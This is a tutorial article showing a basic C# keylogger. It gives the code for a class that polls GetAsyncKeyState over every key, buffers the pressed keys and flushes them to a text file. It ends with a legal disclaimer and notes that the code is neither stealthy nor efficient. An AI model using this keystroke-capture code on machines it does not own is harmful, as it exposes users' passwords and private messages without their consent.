Basic Keystroke Mining






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A simple key logging implementation using Visual C# .NET.
Introduction
A key logger, or keystroke logger, is a piece of hardware or software which records user keystrokes such as instant messages, e-mail, and any information you type at any time using your keyboard. Many key log solutions are very careful to be invisible to computer users and are often used by employers to ensure employees use work computers for business purposes only.
This article illustrates a simple key logging scheme built around GetAsyncKeyState
as the key logging core.
Simple Keystroke Mining Life Cycle
- A key logger typically records actions and events on a computer to a volatile buffer.
- Once the buffer is full, or on set intervals, the buffer is flushed to a non-volatile “log file”.
- A common practice among key log solutions is to encrypt the “log file”.
Code Snippets
The KeyLogger
class:
public class Keylogger
{
// The GetAsyncKeyState function determines
// whether a key is up or down at the time
// the function is called, and whether
// the key was pressed after a previous call
// to GetAsyncKeyState.
// "vKey" Specifies one of 256 possible virtual-key codes.
// If the function succeeds, the return value specifies whether the key
// was pressed since the last call
// to GetAsyncKeyState, and whether the key is
// currently up or down.
// If the most significant bit is set, the key is down,
// and if the least significant bit is set, the key was pressed after
// the previous call to GetAsyncKeyState.
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(
System.Windows.Forms.Keys vKey); // Keys enumeration
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(
System.Int32 vKey);
private System.String keyBuffer;
private System.Timers.Timer timerKeyMine;
private System.Timers.Timer timerBufferFlush;
// Events & Methods (see excerpts below)
// Properties (see source code)
}
At the heart of the KeyLogger
class is the timerKeyMine_Elapsed
event which iterates through the entire System.Windows.Forms.Keys
enumeration for pressed keys. Downed keys are then stored in the keyBuffer
(space delimited).
private void timerKeyMine_Elapsed(object sender,
System.Timers.ElapsedEventArgs e)
{
foreach(System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
{
keyBuffer += Enum.GetName(typeof(Keys), i) + " ";
}
}
}
The timerBufferFlush_Elapsed
event transfers key stroke data from the temporary buffer storage to permanent memory.
private void timerBufferFlush_Elapsed(object sender,
System.Timers.ElapsedEventArgs e)
{
// Preprocessor Directives
#if (DEBUG)
MessageBox.Show(keyBuffer); // debugging help
#else
Flush2File(@"c:\keydump.txt", true);
#endif
}
public void Flush2File(string file, bool append)
{
try
{
StreamWriter sw = new StreamWriter(file, append);
sw.Write(keyBuffer);
sw.Close();
keyBuffer = ""; // reset
}
catch
{ // rethrow the exception currently handled by
// a parameterless catch clause
throw;
}
}
KeyLogger
usage examples:
static void Main(string[] args)
{
Keylogger kl = new Keylogger();
kl.Enabled = true; // enable key logging
kl.FlushInterval = 60000; // set buffer flush interval
kl.Flush2File(@"a:\logfile.txt", true); // force buffer flush
}
Log File sample output:
LButton H E L L O Space W O R L D Space OemMinus Space R E L E A S E Space B U I L D
Disclaimer
I strongly discourage anyone from monitoring any computer that you do not own or do not have intellectual property rights over. It is illegal and punishable as a crime under (state law) to intercept electronic communications.
Summary
This article is intended to be used in good faith. The key logging mechanics illustrated are not stealth, and vastly inefficient. There are better, commercially available keyboard hooks and stealthy key loggers available. For the purpose of simplicity, I omitted the encryption of the log file. Nevertheless, in the days of adware, spyware, and growing privacy concerns, I find this to be an interesting venture. Any bugs or suggestions can be tracked below in the message board section. Thanks!
History
- 05/12/05: Original submission.